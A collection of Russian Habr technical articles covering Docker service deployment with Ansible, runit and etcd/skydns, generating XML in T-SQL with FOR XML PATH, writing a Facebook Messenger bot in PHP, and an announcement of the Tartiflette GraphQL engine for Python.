state = module.params['state']
name = module.params['name']
image = module.params['image']
args = module.params['args']
announce = module.params['announce']
announce_as = module.params['announce_as']
port = module.params['port']
svc = Service(name, image, args, announce, announce_as, port)
if state == 'present':
module.exit_json(changed=svc.install(module))
if state == 'absent':
module.exit_json(changed=svc.remove(module))
if state == 'enabled':
module.exit_json(changed=svc.start(module))
if state == 'disabled':
module.exit_json(changed=svc.stop(module))
module.fail_json(msg='Unexpected position reached')
sys.exit(0)
from ansible.module_utils.basic import *
main()
```
Давайте посмотрим, что происходит, когда мы запускаем новый сервис; например, запустим influxdb:
```
ansible -i hosts node-back-1 -s -m rundock -a 'state=enabled name=influxdb image="registry.s.prod.example.com:5000/influxdb:latest" args="--volumes-from data.influxdb -p $PRIVATE_IP:8083:8083" announce=8086 port=8086'
```
Ansible добавляет на машину новую задачу для runit, которая содержит две подзадачи, контейнер и анонс:
```
$ cat /etc/sv/docker-influxdb/services/service/run
#!/bin/bash
CONTAINER_NAME=influxdb
INTERFACE=eth0
PRIVATE_IP="`ifconfig $INTERFACE | sed -En 's/127.0.0.1//;s/.*inet (addr:)?(([0-9]*\.){3}[0-9]*).*/\2/p'`"
docker inspect $CONTAINER_NAME|grep State >/dev/null 2>&1
if [ $? -eq 0 ]; then
docker rm $CONTAINER_NAME || { echo "cannot remove container $CONTAINER_NAME"; exit 1; }
fi
docker pull registry.s.prod.example.com:5000/influxdb:latest
exec docker run -i --rm --name $CONTAINER_NAME --hostname "`hostname`-influxdb" --volumes-from data.influxdb -p $PRIVATE_IP:8083:8083 -p $PRIVATE_IP:8086:8086 registry.s.prod.example.com:5000/influxdb:latest
```
runit убьет старый контейнер, если он был, скачает новый образ и запустит докер в интерактивном режиме. Если контейнер умрет — runit его перезапустит. В контейнере `data.influxdb` сделан маппинг на пути в ФС, где influx будет хранить свои данные.
Второй сервис:
```
$ cat /etc/sv/docker-influxdb/services/announce/run
#!/bin/bash
ETCD="http://192.0.2.1:4001"
DOMAIN="com/example/prod/s/influxdb/`hostname`"
INTERFACE=eth0
enable -f /usr/lib/sleep.bash sleep
trap "{ curl -L "$ETCD/v2/keys/skydns/$DOMAIN" -XDELETE ; exit 0; }" SIGINT SIGTERM
while true; do
PRIVATE_IP="`ifconfig $INTERFACE | sed -En 's/127.0.0.1//;s/.*inet (addr:)?(([0-9]*\.){3}[0-9]*).*/\2/p'`"
curl -L "$ETCD/v2/keys/skydns/$DOMAIN" -XPUT -d value="{\"host\": \"$PRIVATE_IP\", \"port\": 8086}" -d ttl=60 >/dev/null 2>&1
sleep 45
```
Модуль для bash добавляет sleep как built-in команду, теперь bash будет обновлять запись для домена, и influxdb будет доступен по node-back-1.influxdb.s.prod.example.com.
**костыль**: по-хорошему, анонс надо делать изнутри контейнера, так как анонс будет жив даже если контейнер ушел в crash-loop.
Теперь прикрутим grafana для фронтенда:
```
ansible -i hosts node-back-1 -s -m rundock -a 'state=enabled name=grafana image="tutum/grafana:latest" args="-e INFLUXDB_HOST=influxdb.s.prod.example.com -e INFLUXDB_PORT=8086 -e INFLUXDB_NAME=metrics -e INFLUXDB_USER=metrics -e INFLUXDB_PASS=metrics -e HTTP_PASS=metrics -e INFLUXDB_IS_GRAFANADB=true" announce=8087 port=80'
```
Тут port и announce разные, так как стандартный контейнер отдает grafana на порту 80, а мы отдаем его наружу на 8087.
Ну и наконец апстрим в nginx:
```
upstream docker_grafana {
server grafana.s.prod.example.com:8087;
keepalive 512;
}
```
**костыль**: порты прибиты руками. По-хорошему, что-то вроде [этого](https://github.com/vlipco/srv-router) может научить nginx использовать SRV записи.
### Поговорим о стабильности решения?
Фронтенд. Если умрет фронтенд, надо обновлять DNS записи. Некоторое время лежим и грустим.
Обнаружение. etcd/skydns вообще сложно убить, если они адекватно собраны в консенсус.
Бекенд-сервис. Мы резолвим сервис без имени машины, так что можно запустить несколько бекендов; skydns будет балансировать нагрузку или оперативно подменять умершие сервисы.
Файловая система. В идеальном мире мы имеем полностью неизменяемое состояние, но в жизни все печальнее. БД, которые понимают репликацию, могут иметь хранилище на локальном диске или в обычном `--volume`. Там, где надо распределять что-то между контейнерами, работает ceph (paxos, по хорошему, тоже сложно убить). | https://habr.com/ru/post/253999/ | null | ru | null |
# T-SQL. Формирование XML со списком значений
### Небольшая заметка по формированию XML
### FOR XML PATH
Для формирования структуры XML-документа со списком значений можно воспользоваться режимом PATH для FOR XML в T-SQL.
```
```
Ниже представлен sql код создания тестовых таблиц для демонстрации запросов:
```
if object_id('dbo.ProductClass', 'U') is not null
drop table dbo.ProductClass;
go
create table dbo.ProductClass(
ProductClassId int identity
,ProductClassName nvarchar(16)
,constraint PK_ProductClass primary key(ProductClassId));
go
insert into dbo.ProductClass(ProductClassName)
values
('Class_1')
,('Class_2')
,('Class_3');
go
select * from dbo.ProductClass;
```
```
1 Class_1
2 Class_2
3 Class_3
```
Запросы будут задействовать две таблицы dbo.ProductClass и dbo.Product со связью «один ко многим»(в одном классе может быть более одного продукта).
```
if object_id('dbo.Product', 'U') is not null
drop table dbo.Product;
go
create table dbo.Product(
ProductClassId int
,ProductId int identity
,ProductName nvarchar(16)
,constraint PK_Product primary key(ProductId)
,constraint FK_ProductClass foreign key(ProductClassId)
references dbo.ProductClass(ProductClassId));
go
insert into dbo.Product(ProductClassId, ProductName)
values
(1, 'Product_1')
,(2, 'Product_2')
,(3, 'Product_3')
,(1, 'Product_4')
,(2, 'Product_5')
,(3, 'Product_6')
,(1, 'Product_7')
,(3, 'Product_8')
,(2, 'Product_9')
,(1, 'Product_10');
go
select * from dbo.Product;
```
```
1 1 Product_1
2 2 Product_2
3 3 Product_3
1 4 Product_4
2 5 Product_5
3 6 Product_6
1 7 Product_7
3 8 Product_8
2 9 Product_9
1 10 Product_10
```
Следующий запрос позволяет построить XML документ со списком значений ProductName таблицы dbo.Product для каждого класса продукта(ProductClassName) в одноименных элементах:
```
select pc.ProductClassName as ProductClassName
,(select p.ProductName as ProductName
from dbo.Product p
where p.ProductClassId = pc.ProductClassId
for xml path(''), type) as "Products"
from dbo.ProductClass pc
for xml path('ProductClass'), type
```
Список значений в элементе Products формируется подзапросом:
```
(select p.ProductName as ProductName
from dbo.Product p
where p.ProductClassId = pc.ProductClassId
for xml path(''), type) as "Products")
```
Псевдонимы определяют «имена» XML элементов. Директива TYPE позволяет получить результат запроса в виде типа данных xml. Для того что бы не формировался родительский элемент для списка значений элементов Product.ProductName, значение PATH не указывается(for xml path('')).
Результатом запроса будет следующий XML-документ:
```
Class\_1
Product\_1
Product\_4
Product\_7
Product\_10
Class\_2
Product\_2
Product\_5
Product\_9
Class\_3
Product\_3
Product\_6
Product\_8
```
Для создания списка со значениями в атрибутах элемента, псевдонимы указываются в кавычках(одинарные или двойные) с символом '@' в начале:
```
select pc.ProductClassName as ProductClassName
,(select p.ProductId as "@ProductId", p.ProductName as '@ProductName'
from dbo.Product p
where p.ProductClassId = pc.ProductClassId
for xml path('Product'), type) as "Products"
from dbo.ProductClass pc
for xml path('ProductClass'), type
```
Значение PATH есть «имя» элемента в котором содержаться атрибуты, результ запроса следующий:
```
Class\_1
Class\_2
Class\_3
```
Атрибуты можно разместить в отдельных элементах:
```
select pc.ProductClassName as ProductClassName
,(select p.ProductId as "@ProductId", p.ProductName as ProductName
from dbo.Product p
where p.ProductClassId = pc.ProductClassId
for xml path('Product'), type) as "Products"
from dbo.ProductClass pc
for xml path('ProductClass'), type
```
Результат запроса:
```
Class\_1
Product\_1
Product\_4
Product\_7
Product\_10
Class\_2
Product\_2
Product\_5
Product\_9
Class\_3
Product\_3
Product\_6
Product\_8
```
Product.ProductName как значение элемента Product и Product.ProductId как значение атрибута этого же элемента:
```
select pc.ProductClassName as ProductClassName
,(select p.ProductId as "@ProductId"
,(select pn.ProductName
from dbo.Product pn
where pn.ProductId = p.ProductId)
from dbo.Product p
where p.ProductClassId = pc.ProductClassId
for xml path('Product'), type) as "Products"
from dbo.ProductClass pc
for xml path('ProductClass'), type
```
Результат:
```
Class\_1
Product\_1
Product\_4
Product\_7
Product\_10
Class\_2
Product\_2
Product\_5
Product\_9
Class\_3
Product\_3
Product\_6
Product\_8
```
Использование конструкции WITH XMLNAMESPACES позволяет добавить пространства имен в XML:
```
WITH XMLNAMESPACES ('uri1' as lev)
select pc.ProductClassName as "lev:ProductClassName"
,(select p.ProductName as "lev:ProductName"
from dbo.Product p
where p.ProductClassId = pc.ProductClassId
for xml path(''), type) as "lev:Products"
from dbo.ProductClass pc
for xml path('lev:ProductClass'), type
```
```
Class\_1
Product\_1
Product\_4
Product\_7
Product\_10
Class\_2
Product\_2
Product\_5
Product\_9
Class\_3
Product\_3
Product\_6
Product\_8
```
Конструкция data() позволяет сформировать список значений, например требуется перечислить все значения ProductId для каждого класса продукта в элементе ProductClass:
```
select pc.ProductClassName as "@ProductClassName"
,(select pid.ProductId as "data()"
from dbo.Product pid
where pid.ProductClassId = pc.ProductClassId
for xml path ('')) as "@ProductIds"
,(select p.ProductId as "@ProductId", p.ProductName as '@ProductName'
from dbo.Product p
where p.ProductClassId = pc.ProductClassId
for xml path('Product'), type) as "Products"
from dbo.ProductClass pc
for xml path('ProductClass'), type
```
```
```
[Больше информации](https://docs.microsoft.com/ru-ru/sql/relational-databases/xml/xml-data-sql-server?view=sql-server-ver15) | https://habr.com/ru/post/506942/ | null | ru | null |
# Разработка чат-бота для Facebook Messenger
В настоящее время наблюдается, действительно, бум чат-мессенджеров. Один за другим платформы для обмена мгновенными сообщениями объявляют о запуске платформы для разработки ботов.
Не стал и исключением Facebook. 12 апреля на конференции F8 Facebook представила платформу для разработки ботов для своего мессенджера.
В данной статье хочу поделиться опытом разработки чат-бота для Facebook на PHP.
Общая информация
----------------
Чат-боты в Facebook построены на основе личных сообщений с публичной страницей от имени пользователя.
Поэтому для создания бота нужно будет создать само приложение для доступа к API, и публичную страницу, с которой будут общаться пользователи.
Создание страницы
-----------------
Не буду подробно останавливаться на этом пункте.
Просто создаем публичную страницу, называем ее так, как хотим видеть в мессенджере нашего бота, и загружаем иконку.
Регистрация и настройка приложения
----------------------------------
Переходим к регистрации своего приложения в аккаунте разработчика.
Заходим по ссылке [developers.facebook.com/apps](https://developers.facebook.com/apps/)
Нажимаем на добавление нового приложения, выбираем другой настройку вручную:
Далее заполняем форму:
После создания приложения, в левом меню выбираем вкладку Messenger и кликаем на нее.
Нажимаем «Начать».
В первую очередь выбираем страницу, созданную для бота, и копируем token. Сохраняем его где-нибудь, он нам пригодится дальше.
Дальше мы будем настраивать webhook для обработки входящих сообщений.
На этом шаге, вам нужно закачать следующий скрипт на сервер, где будет размещен бот:
```
php
$verify_token = ""; // Verify token
if (!empty($_REQUEST['hub_mode']) && $_REQUEST['hub_mode'] == 'subscribe' && $_REQUEST['hub_verify_token'] == $verify_token) {
echo $_REQUEST['hub_challenge'];
}
</code
```
В переменную $verify\_token необходимо добавить какой-то текст.
Скрипт загружаем на сервер. Допустим, наш скрипт доступен по адресу: [domain.com/fbbot](https://domain.com/fbbot/)
Возвращаемся ко вкладке Messenger в настройках приложения FB.
Ищем блок «Webhooks» и кнопку «Setup Webhooks». Кликаем на нее.
В поле «Обратный URL-адрес» указываем адрес нашего бота — [domain.com/fbbot](https://domain.com/fbbot/)
SSL — сертификат является обязательным. Самоподписанный сертификат не подойдет.
В поле «Подтвердить маркер» указываем тот текст, который указали в переменной $verify\_token в скрипте.
В поле «Поля подписки» выбираем, какие уведомления мы хотим получать на наш webhook:
* message\_deliveries — уведомления о доставке сообщения
* messages — сообщения, написанные пользователем боту
* messaging\_optins — callback при получении сообщения через кнопку на сайте (Send-to-Messenger Plugin)
* messaging\_postbacks — переходы по кнопкам из предыдущих сообщений бота (будет понятно далее)
Выбираем нужные и нажимаем кнопку «Подтвердить и сохранить».
Связываем приложение и страницу
-------------------------------
Набираем в консоли:
```
curl -ik -X POST "https://graph.facebook.com/v2.6/me/subscribed_apps?access_token=-token-"
```
-token- заменяем на токен вашей страницы.
Типы сообщений в FB Messenger
-----------------------------
Сообщения могут быть либо просто текстовые, либо Structured Text, которые в свою очередь могут быть:
* button — кнопки
* generic — элементы
* receipt — счет на оплату
### Кнопки (button)
Данный тип предназначен для отправки сообщений, на которые требуется реакция пользователя.
Выглядят они примерно так:
Кнопки могут быть двух типов:
1. Отправляющие ответ боту
2. Переходящие по адресу в интернете
**Важный момент: в одном таком сообщении может быть максимум 3 кнопки, при попытке отправить сообщение с бОльшим количеством кнопок — оно просто не дойдет до получателя.**
### Элементы (generic)
Данный тип предназначен для отправки карточек товаров или других элементов, имеющих похожую структуру.
Каждый элемент может иметь: Заголовок, подзаголовок, описание, изображение и кнопки.
В одном сообщении может содержаться до 10 элементов. При наличии более одного элемента, появляется горизонтальная прокрутка.
**Важный момент: в одном таком сообщении может быть максимум 3 кнопки, при попытке отправить сообщение с бОльшим количеством кнопок — оно просто не дойдет до получателя.**
### Счет на оплату (receipt)
Предназначение понятно из названия.
Facebook решил сделать из своего мессенджера полноценный магазин.
Счет на оплату может содержать информацию о товарах, стоимости, оплате, адресе доставки, скидках.
**Важный момент: номер счета должен быть уникальным.**
Пишем код
---------
На момент написания бота, на GitHub еще не было реализации API на PHP, поэтому пришлось писать PHP SDK самостоятельно.
Устанавливаем PHP SDK для работы с FB Messenger API при помощи composer:
```
composer require "pimax/fb-messenger-php" "dev-master"
```
Создаем файл index.php:
```
php
$verify_token = ""; // Verify token
$token = ""; // Page token
if (file_exists(__DIR__.'/config.php')) {
$config = include __DIR__.'/config.php';
$verify_token = $config['verify_token'];
$token = $config['token'];
}
require_once(dirname(__FILE__) . '/vendor/autoload.php');
use pimax\FbBotApp;
use pimax\Messages\Message;
use pimax\Messages\MessageButton;
use pimax\Messages\StructuredMessage;
use pimax\Messages\MessageElement;
use pimax\Messages\MessageReceiptElement;
use pimax\Messages\Address;
use pimax\Messages\Summary;
use pimax\Messages\Adjustment;
$bot = new FbBotApp($token);
if (!empty($_REQUEST['hub_mode']) && $_REQUEST['hub_mode'] == 'subscribe' && $_REQUEST['hub_verify_token'] == $verify_token)
{
// Webhook setup request
echo $_REQUEST['hub_challenge'];
} else {
$data = json_decode(file_get_contents("php://input"), true);
if (!empty($data['entry'][0]['messaging']))
{
foreach ($data['entry'][0]['messaging'] as $message)
{
// Получено сообщение
// Основной код будет в этом блоке
// ...
}
}
}
</code
```
Пробуем отправить сообщение пользователю в ответ при получении любого сообщения от него.
Для этого в блок получения сообщения, добавляем:
```
$bot->send(new Message($message['sender']['id'], ‘Hi there!'));
```
Проверяем. Находим в мессенджере нашего бота и пробуем отправить ему любое сообщение.
В ответ мы должны получить от него «Hi there!».
**Важно: Пока приложение не прошло модерацию бот будет работать только для автора приложения.**
Если все работает как надо, идем дальше.
В блок получения сообщения добавляем:
```
// Пропускаем обработку отметок о доставке сообщения
if (!empty($message['delivery'])) {
continue;
}
$command = "";
// Получено сообщение от пользователя, записываем как команду
if (!empty($message['message'])) {
$command = $message['message']['text'];
// ИЛИ Зафиксирован переход по кнопке, записываем как команду
} else if (!empty($message['postback'])) {
$command = $message['postback']['payload'];
}
// Обрабатываем команду
switch ($command) {
// When bot receive "text"
case 'text':
$bot->send(new Message($message['sender']['id'], 'This is a simple text message.'));
break;
// When bot receive "button"
case 'button':
$bot->send(new StructuredMessage($message['sender']['id'],
StructuredMessage::TYPE_BUTTON,
[
'text' => 'Choose category',
'buttons' => [
new MessageButton(MessageButton::TYPE_POSTBACK, 'First button'),
new MessageButton(MessageButton::TYPE_POSTBACK, 'Second button'),
new MessageButton(MessageButton::TYPE_POSTBACK, 'Third button')
]
]
));
break;
// When bot receive "generic"
case 'generic':
$bot->send(new StructuredMessage($message['sender']['id'],
StructuredMessage::TYPE_GENERIC,
[
'elements' => [
new MessageElement("First item", "Item description", "", [
new MessageButton(MessageButton::TYPE_POSTBACK, 'First button'),
new MessageButton(MessageButton::TYPE_WEB, 'Web link', 'http://facebook.com')
]),
new MessageElement("Second item", "Item description", "", [
new MessageButton(MessageButton::TYPE_POSTBACK, 'First button'),
new MessageButton(MessageButton::TYPE_POSTBACK, 'Second button')
]),
new MessageElement("Third item", "Item description", "", [
new MessageButton(MessageButton::TYPE_POSTBACK, 'First button'),
new MessageButton(MessageButton::TYPE_POSTBACK, 'Second button')
])
]
]
));
break;
// When bot receive "receipt"
case 'receipt':
$bot->send(new StructuredMessage($message['sender']['id'],
StructuredMessage::TYPE_RECEIPT,
[
'recipient_name' => 'Fox Brown',
'order_number' => rand(10000, 99999),
'currency' => 'USD',
'payment_method' => 'VISA',
'order_url' => 'http://facebook.com',
'timestamp' => time(),
'elements' => [
new MessageReceiptElement("First item", "Item description", "", 1, 300, "USD"),
new MessageReceiptElement("Second item", "Item description", "", 2, 200, "USD"),
new MessageReceiptElement("Third item", "Item description", "", 3, 1800, "USD"),
],
'address' => new Address([
'country' => 'US',
'state' => 'CA',
'postal_code' => 94025,
'city' => 'Menlo Park',
'street_1' => '1 Hacker Way',
'street_2' => ''
]),
'summary' => new Summary([
'subtotal' => 2300,
'shipping_cost' => 150,
'total_tax' => 50,
'total_cost' => 2500,
]),
'adjustments' => [
new Adjustment([
'name' => 'New Customer Discount',
'amount' => 20
]),
new Adjustment([
'name' => '$10 Off Coupon',
'amount' => 10
])
]
]
));
break;
// Other message received
default:
$bot->send(new Message($message['sender']['id'], 'Sorry. I don’t understand you.'));
}
```
Пробуем отправить боту сообщения:
* text
* button
* generic
* receipt
Если все сделано по инструкции, то должны получить в мессенджер сообщения всех типов.
Реальный пример Бота для фриланс-биржи Job4Joy
----------------------------------------------
Итак, наша цель, реализовать бота, который по нашему запросу будет выдавать новые проекты в соответствующей категории.
Данные будем получать по RSS, используя picoFeed — [github.com/fguillot/picoFeed](https://github.com/fguillot/picoFeed)
Выполняем:
```
composer require fguillot/picofeed @stable
composer require "pimax/fb-messenger-php" "dev-master"
```
Создаем файл index.php следующего содержания (комментарии приведены в коде):
```
php
$verify_token = ""; // Verify token
$token = ""; // Page token
$config = []; // config
if (file_exists(__DIR__.'/config.php')) {
$config = include __DIR__.'/config.php';
$verify_token = $config['verify_token'];
$token = $config['token'];
}
require_once(dirname(__FILE__) . '/vendor/autoload.php');
use PicoFeed\Reader\Reader;
use pimax\FbBotApp;
use pimax\Messages\Message;
use pimax\Messages\MessageButton;
use pimax\Messages\StructuredMessage;
use pimax\Messages\MessageElement;
$bot = new FbBotApp($token);
if (!empty($_REQUEST['hub_mode']) && $_REQUEST['hub_mode'] == 'subscribe' && $_REQUEST['hub_verify_token'] == $verify_token)
{
// Webhook setup request
echo $_REQUEST['hub_challenge'];
} else {
$data = json_decode(file_get_contents("php://input"), true);
if (!empty($data['entry'][0]['messaging']))
{
foreach ($data['entry'][0]['messaging'] as $message)
{
if (!empty($data['entry'][0])) {
if (!empty($data['entry'][0]['messaging']))
{
foreach ($data['entry'][0]['messaging'] as $message)
{
if (!empty($message['delivery'])) {
continue;
}
$command = "";
if (!empty($message['message'])) {
$command = $message['message']['text'];
} else if (!empty($message['postback'])) {
$command = $message['postback']['payload'];
}
if (!empty($config['feeds'][$command]))
{
getFeed($config['feeds'][$command], $bot, $message);
} else {
sendHelpMessage($bot, $message);
}
}
}
}
}
}
}
/**
* Send Help Message
*
* @param $bot Bot instance
* @param array $message Received message
* @return bool
*/
function sendHelpMessage($bot, $message)
{
$bot-send(new StructuredMessage($message['sender']['id'],
StructuredMessage::TYPE_BUTTON,
[
'text' => 'Choose category',
'buttons' => [
new MessageButton(MessageButton::TYPE_POSTBACK, 'All jobs'),
new MessageButton(MessageButton::TYPE_POSTBACK, 'Web Development'),
new MessageButton(MessageButton::TYPE_POSTBACK, 'Software Development & IT')
]
]
));
$bot->send(new StructuredMessage($message['sender']['id'],
StructuredMessage::TYPE_BUTTON,
[
'text' => ' ',
'buttons' => [
new MessageButton(MessageButton::TYPE_POSTBACK, 'Design & Multimedia'),
new MessageButton(MessageButton::TYPE_POSTBACK, 'Mobile Application'),
new MessageButton(MessageButton::TYPE_POSTBACK, 'Host & Server Management')
]
]
));
$bot->send(new StructuredMessage($message['sender']['id'],
StructuredMessage::TYPE_BUTTON,
[
'text' => ' ',
'buttons' => [
new MessageButton(MessageButton::TYPE_POSTBACK, 'Writing'),
new MessageButton(MessageButton::TYPE_POSTBACK, 'Mobile Application'),
new MessageButton(MessageButton::TYPE_POSTBACK, 'Marketing')
]
]
));
$bot->send(new StructuredMessage($message['sender']['id'],
StructuredMessage::TYPE_BUTTON,
[
'text' => ' ',
'buttons' => [
new MessageButton(MessageButton::TYPE_POSTBACK, 'Business Services'),
new MessageButton(MessageButton::TYPE_POSTBACK, 'Translation & Languages')
]
]
));
return true;
}
/**
* Get Feed Data
*
* @param $url Feed url
* @param $bot Bot instance
* @param $message Received message
* @return bool
*/
function getFeed($url, $bot, $message)
{
try {
$reader = new Reader;
$resource = $reader->download($url);
$parser = $reader->getParser(
$resource->getUrl(),
$resource->getContent(),
$resource->getEncoding()
);
$feed = $parser->execute();
$items = array_reverse($feed->getItems());
if (count($items)) {
foreach ($items as $itm)
{
$url = $itm->getUrl();
$message_text = substr(strip_tags($itm->getContent()), 0, 80);
$bot->send(new StructuredMessage($message['sender']['id'],
StructuredMessage::TYPE_GENERIC,
[
'elements' => [
new MessageElement($itm->getTitle(), $message_text, '', [
new MessageButton(MessageButton::TYPE_WEB, 'Read more', $url)
]),
]
]
));
}
} else {
$bot->send(new Message($message['sender']['id'], 'Not found a new projects in this section.'));
}
}
catch (Exception $e) {
writeToLog($e->getMessage(), 'Exception');
}
return true;
}
/**
* Log
*
* @param mixed $data Data
* @param string $title Title
* @return bool
*/
function writeToLog($data, $title = '')
{
$log = "\n------------------------\n";
$log .= date("Y.m.d G:i:s") . "\n";
$log .= (strlen($title) > 0 ? $title : 'DEBUG') . "\n";
$log .= print_r($data, 1);
$log .= "\n------------------------\n";
file_put_contents(__DIR__ . '/imbot.log', $log, FILE_APPEND);
return true;
}
```
И файл config.php следующего содержания:
```
php
return [
'token' = '', // Токен страницы
'verify_token' => '', // Проверочный токен
'feeds' => [
'All jobs' => 'https://job4joy.com/marketplace/rss/',
'Web Development' => 'https://job4joy.com/marketplace/rss/?id=3',
'Software Development & IT' => 'https://job4joy.com/marketplace/rss/?id=5',
'Design & Multimedia' => 'https://job4joy.com/marketplace/rss/?id=2',
'Mobile Application' => 'https://job4joy.com/marketplace/rss/?id=7',
'Host & Server Management' => 'https://job4joy.com/marketplace/rss/?id=6',
'Writing' => 'https://job4joy.com/marketplace/rss/?id=8',
'Customer Service' => 'https://job4joy.com/marketplace/rss/?id=10',
'Marketing' => 'https://job4joy.com/marketplace/rss/?id=11',
'Business Services' => 'https://job4joy.com/marketplace/rss/?id=12',
'Translation & Languages' => 'https://job4joy.com/marketplace/rss/?id=14',
]
];
```
Публикация в каталоге для всех
------------------------------
Пока бот доступен только для владельца аккаунта. Чтобы бот был доступен для всех, нужно На странице App Review — опубликовать приложение:
После этого нужно запросить модерацию мессенджера. Для этого переходим на вкладку — Messenger.
В блоке «App Review for Messenger» нажимаем кнопку «Request Permissions».
В появившемся окне выбираем «pages\_messaging» и нажимаем «Add items».
Теперь остается только дождаться модерации.
На момент написания этой статьи, модерация нашего первого бота не завершена, хотя прошло уже более двух рабочих дней с момента подачи заявки.
Заключение
----------
В статье мы рассмотрели базовые аспекты создания чат-бота для Facebook.
Если тема окажется популярной, то готов буду рассказать об опыте разработки ботов под другие популярные мессенджеры.
Полезные ссылки
---------------
1. Getting Started with FB Chatbots — [developers.facebook.com/docs/messenger-platform/quickstart](https://developers.facebook.com/docs/messenger-platform/quickstart)
2. Web hook Reference — [developers.facebook.com/docs/messenger-platform/webhook-reference](https://developers.facebook.com/docs/messenger-platform/webhook-reference)
3. FB Messenger PHP API — [github.com/pimax/fb-messenger-php](https://github.com/pimax/fb-messenger-php)
4. Примеры использования PHP API — [github.com/pimax/fb-messenger-php-example](https://github.com/pimax/fb-messenger-php-example)
5. Job4Joy FB Bot — [github.com/pimax/job4joy\_fb](https://github.com/pimax/job4joy_fb) | https://habr.com/ru/post/281559/ | null | ru | null |
# Представляем Tartiflette: реализацию GraphQL с открытым исходным кодом для Python 3.6+
Друзья, в преддверии майских праздников мы решили не заваливать вас сложными техническими статьями, поэтому нашли довольно интересный, а главное, легкий в прочтении материал, переводом которого с радостью делимся с вами. Данный материал мы хотим приурочить к запуску курса [«Web-разработчик на Python»](https://otus.pw/rkJs/).
С оригиналом можно ознакомиться [тут](https://medium.com/dailymotion/tartiflette-graphql-api-engine-python-open-source-a200c5bbc477).
Приобретение [Vivendi dailymotion](https://www.dailymotion.com/fr) три года назад оказалось поворотным моментов для нашей организации. Это позволило переосмыслить вектор нашей работы, переосмыслить саму нашу работу от начала до конца. Мы использовали представившуюся возможность для оценки *dailymotion* в целом, переосмысления нашей инфраструктуры и, что более важно, архитектуры наших продуктов.
В конце концов, проведенный самоанализ подтвердил то, что мы уже знали: мы хотели территориально распространять нашу платформу и разрабатывать API-интерфейсы, мобильные и ТВ-приложения. Это ознаменовало отказ от нынешней монолитной структуры и принятие API-ориентированного подхода. В этой статье описан путь, по которому мы шли.
**Критерии и проверки концепции**
Запуск проекта мы начали с определения критериев API, которые в итоге сузили до четырех пунктов:
* **Обеспечение хорошего DX** (developer experience), простого использования и реализации;
* **Культивация основательного и растущего комьюнити**, такого, которое позволило бы агрегировать и использовать широко распространенные технологии;
* **Поведения сходное со шлюзом с точки зрения архитектуры программного обеспечения**, направленное на упрощение преобразования нашей системной интеграции из монолита в SOA (сервис-ориентированную архитектуру);
* Возможность реализовывать инструменты управления API, а именно управление интерфейсом API, документацию и доступ к данным.
Дальше мы выбрали несколько моделей API и проверили несколько концепций, чтобы понять их целесообразность:
* **Rest API** с Swagger
* **GraphQL API** с Graphene
* **API** с Falcor
После тщательного тестирования мы выяснили, что [GraphQL](https://graphql.org/) и его реализации Graphene наилучшим образом соответствовали нашим критериями в сравнении с другими моделями. Это позволило нашим front-end разработчикам легче использовать наш API, а заодно и упростить его использование в клиентских приложениях (например, React JS и Apollo Client). В нашей архитектуре GraphQL также оказался проще и эффективнее в качестве шлюза паттернов. В итоге мы окончательно решили двигаться дальше с GraphQL и Graphene.
**Путь в продакшн**
В апреле 2017 года, после интенсивной полугодовой разработки, мы вышли в продакшн с нашим API. К лету мы пересадили все продукты *dailymotion* (веб, мобильные и ТВ) на наш API GraphQL.
Когда мы выбрали GraphQL три года назад, он еще находился в бета-версии и не достиг той популярности, которую имеет на сегодняшний день. Мы были первыми крупными игроками на этой арене и это сделало нашу внутреннюю реконструкцию еще приятнее.
**Рождение Tartiflette**
В первые месяцы 2018 года, после более чем полугода использования Graphene, мы решили шагнуть дальше и написать свой собственный движок GraphQL. Это позволило нам реализовать некоторые требования, которые не выполнялись Graphene. Мы разработали критерии для нашего собственного движка. Он должен:
* **Обеспечивать лучший DX**, ориентированный на мышление Python разработчиков;
* **Использовать SDL** (Schema Definition Language);
* [Использовать asyncio](https://docs.python.org/3/library/asyncio.html) в качестве самостоятельного исполняющего движка;
После почти года разработки и многих недель тестирования нашей инфраструктуры (в среднем обрабатывалось более 100 миллионов вызовов в день) мы с гордостью предлагаем сообществу GraphQL наш собственный движок с открытым исходным кодом Tartiflette.
**ДНК Tartiflette**
Tartiflette-это реализация GraphQL Server, построенная на **Python 3.6+**
Схема **GraphQL** описывается при помощи нового языка описания [SDL (Schema Definition Language)](https://github.com/facebook/graphql/blob/master/spec/Section%203%20--%20Type%20System.md);
**Производительность** является ключевым элементом нашей работы и это отражено в **Tartiflette**;
Построен с учетом **[Zen of Python](https://www.python.org/dev/peps/pep-0020/#id3)**. Не усложнен чрезмерно.
**Hello world на Tartiflette**
```
import asyncio
from tartiflette import Engine, Resolver
@Resolver("Query.hello")
async def resolver_hello(parent, args, ctx, info):
return "hello " + args["name"]
async def run():
ttftt = Engine("""
type Query {
hello(name: String): String
}
""")
result = await ttftt.execute(
query='query { hello(name: "Chuck") }'
)
print(result)
# {'data': {'hello': 'hello Chuck'}}
if __name__ == "__main__":
loop = asyncio.get_event_loop()
loop.run_until_complete(run())
```
О новом функционале вы можете узнать в руководстве на [tartiflette.io](https://tartiflette.io/docs/tutorial/getting-started).
**Что будет дальше с Tartiflette?**
Открытый исходный код Tartiflette – это только первый шаг. Вот несколько идей и планов на будущее для развития Tartiflette:
* **«Полировка» документации** для пользователей и комьюнити;
* **Предоставление большего количества примеров и расширения вариантов использования**, чтобы воодушевить вас на эксперименты с возможностями **Tartiflette**;
* **Повышение производительности**, главным образом на уровне исполняющего движка.
**А еще нам нужны вы!**
Вы можете использовать наш проект практически для любых целей и помочь нам в развитии Tartiflette! Пожалуйста, проверяйте его на прочность, не стесняйтесь искать ошибки или противоречия в коде и поддерживайте обратную связь для улучшения продукта. Мы действительно считаем, что Tartiflette станет лучше при тесном сотрудничестве с сообществом.
**Как внести свой вклад в проект?**
[Tartiflette на Github](https://github.com/dailymotion/tartiflette);
Читайте документацию на [tartiflette.io](https://tartiflette.io/);
Отправляйте отзывы и предложения в [Slack](https://join.slack.com/t/tartiflette-io/shared_invite/enQtNTcxMjI5NjQwMzg5LWQ4NzdlYWZjMjY0MjYzY2QxYTFkZTU2YWYxYTIwMTFkZWZkMDI5Y2FiYTI4NGIxZWM5YmY1ZmI5ZDBmMTUyMzc);
Присоединяйтесь к сообществу в [Twitter](https://twitter.com/dailymotionEng). | https://habr.com/ru/post/449526/ | null | ru | null |
# Как запустить email-рассылки и не попасть в спам?
[](https://habr.com/ru/company/dashamail/blog/478344/)
*Изображение: [Pixabay](https://pixabay.com/photos/spam-sausage-ham-ham-tin-909485/)*
